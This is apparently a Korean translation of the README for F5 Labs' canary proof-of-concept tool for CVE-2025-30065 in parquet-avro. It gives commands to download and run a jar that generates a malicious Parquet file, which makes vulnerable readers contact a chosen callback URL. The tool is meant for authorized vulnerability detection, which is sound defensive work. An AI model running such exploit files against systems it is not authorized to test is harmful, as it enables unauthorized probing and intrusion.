
악성 Apache Parquet 파일을 생성하여 SSRF 콜백을 통한 CVE-2025-30065 RCE 취약점을 테스트합니다. Parquet-avro 처리 시스템의 공인된 보안 테스트용으로 설계되었습니다.
(`-. ('-.
_(OO )_ _( OO)
.-----,--(_/ ,. (,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------.
' .--.\ \ /(__/| .---' .-')/ ,-. \/ .. \/ ,-. | ___| .-') / -. \/ .. \ / .. \ / .' | ___|
| |('-.\ \ / / | | _( OO'-' | . / \ '-' | | '--. _( OO)'-' _' . / \ . / \ . / -. | '--.
/_) |OO )\ ' /,(| '--(,------. .' /| | ' | .' /`---. '(,------. |_ <| | ' | | ' | .-. '`---. '.
|| |`-'| \ /__)| .--''------.' /__' \ / '.' /__.- | |'------.-. | ' \ / ' \ / ' \ | .- | |
(_' '--'\ \ / | `---. | |\ `' /| | `-' / \ `-' /\ `' / \ `' /\ `' /| `-' /
`-----' `-' `------' `-------' `---'' `-------'`----'' `----'' `---'' `---'' `----' `----''
Canary Exploit Generator - https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065
최소 요구 사항 (README 지침을 건너뛰는 것은 본인 책임입니다):
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
규정 준수 담당자? AppSec 담당자? 취약점 관리 담당자? F5 Labs가 여러분을 위해 만들었습니다. 이 CVE는 CVSS 10점으로, 일반적으로 빠른 대응 시간이 필요함을 의미합니다. 저희는 이 도구를 jar 파일로 묶어 parquet 파일을 생성할 수 있게 했습니다. 자신의 시스템에 제공하여 취약한지 여부를 확인할 수 있습니다. 이는 수정 전후 모두에 유용합니다.
이 PoC의 내부 구현에 대한 공로는 Mouad Kondah에게 있습니다. 그의 2025-04-07 작성 글에서 이 CVE와 PoC에 대해 논의합니다.
parquet 파일은 parquet-avro에서 신뢰할 수 없는 Java String을 임의의 Java 클래스 생성자에 전달할 수 있는 동작을 악용합니다. 콜백 URL을 제공하면 시스템이 parquet 파일을 읽을 때 javax.swing.JEditorPane 객체가 해당 URL에 접속을 시도합니다. 이는 무해합니다.
canary exploit 도구에 대한 빠른 요약을 원하시나요? 라이브 데모를 보려면 이 2분 YouTube Short를 시청하세요: [데모 비디오].
F5 Labs가 알고 있는 parquet-avro 모듈의 취약점 시나리오는 두 가지입니다:
String 객체를 다른 타입으로 강제 변환하기 위해 패키지를 허용 목록에 추가하는 개념이 없었습니다.org.apache.parquet.avro.SERIALIZABLE_PACKAGES 설정이 *와 같이 허용적인 값으로 설정된 경우에만 해당.시스템이 외부로 접속할 수 있는 모든 것(DNS 및/또는 HTTP(S))과 함께 사용할 수 있습니다. 인터넷에 대한 두 종류의 외부 접속이 모두 불가능하다면, 데이터 센터 내에서 접근 가능하고 DNS 또는 HTTP 액세스 로그를 얻을 수 있는 대상을 고려하세요. 잘못 설정하면 위음성(false negative)이 발생할 수 있습니다. org.apache.parquet.avro.SERIALIZABLE_PACKAGES의 매우 비정상적인 설정 역시 위음성으로 이어질 수 있으니 이전 하위 섹션을 참조하세요.
코드를 읽고 이해한 후 직접 빌드하는 것을 권장합니다. 편의를 위해 이 저장소에 코드의 배포 빌드를 jar로 제공합니다.
생성기를 빌드하거나 실행하려면 JDK 21 이상이 필요합니다("OpenJDK21 install"과 같은 검색어가 도움이 될 수 있습니다). JDK 설치에 익숙하다면 다음은 단축 방법입니다:
brew install openjdk@21sudo apt install openjdk-21-jdksudo yum install java-21-openjdkjar를 다운로드하거나 저장소를 클론할 수 있습니다.
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
git clone https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065.git
cd parquet-canary-exploit-rce-poc-CVE-2025-30065
file build/libs/parquet_canary_exploit-fat.jar
shasum build/libs/parquet_canary_exploit-fat.jar
예상 출력:
build/libs/parquet_canary_exploit-fat.jar: Zip archive data, at least v1.0 to extract, compression method=deflate
19ae361d589a9cd476bee31ba3f437094a8a6440 build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar -h
예상 출력:

먼저 원하는 YOUR_CALLBACK_URL을 결정하세요. parquet 처리 백엔드가 URL의 도메인 이름을 확인하거나 웹 서버에서 URL을 요청할 때 이를 감지할 수 있어야 합니다. 이를 위해 canarytokens.org의 "Web bug" 또는 "DNS"를 고려해도 좋습니다. 자세한 내용은 위의 주의 사항 섹션을 참조하세요.
다음 명령을 실행하세요:
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
이렇게 하면 poc.parquet이 생성됩니다. 다음과 같이 확인하세요:
file poc.parquet
다음과 같이 출력되어야 합니다:
poc.parquet: Apache Parquet
이제 이 파일을 시스템에 제공할 수 있습니다. 시스템이 취약한 경우 콜백을 받게 됩니다. 주의 사항 섹션도 참조하세요.
편의상 파일이 없으면 생성도 합니다.
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test YOUR_CALLBACK_URL
python3 -m http.server --bind 127.0.0.1 9090 &
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test http://localhost:9090
parquet 파일을 읽는 방법은 CanaryExploitGenerator.testParquetFile()을 참조하세요. 시스템 내부의 코드는 다음과 같습니다:
ParquetReader reader = AvroParquetReader.builder(inputFile).build();
// enough to trigger the construction of javax.swing.JEditorPane
Object object = reader.read();
이 도구는 승인된 보안 테스트 환경에서만 사용하도록 설계되었습니다. 해당 관할권의 법률을 숙지하세요. 법적 세부 사항은 LICENSE.md를 참조하세요.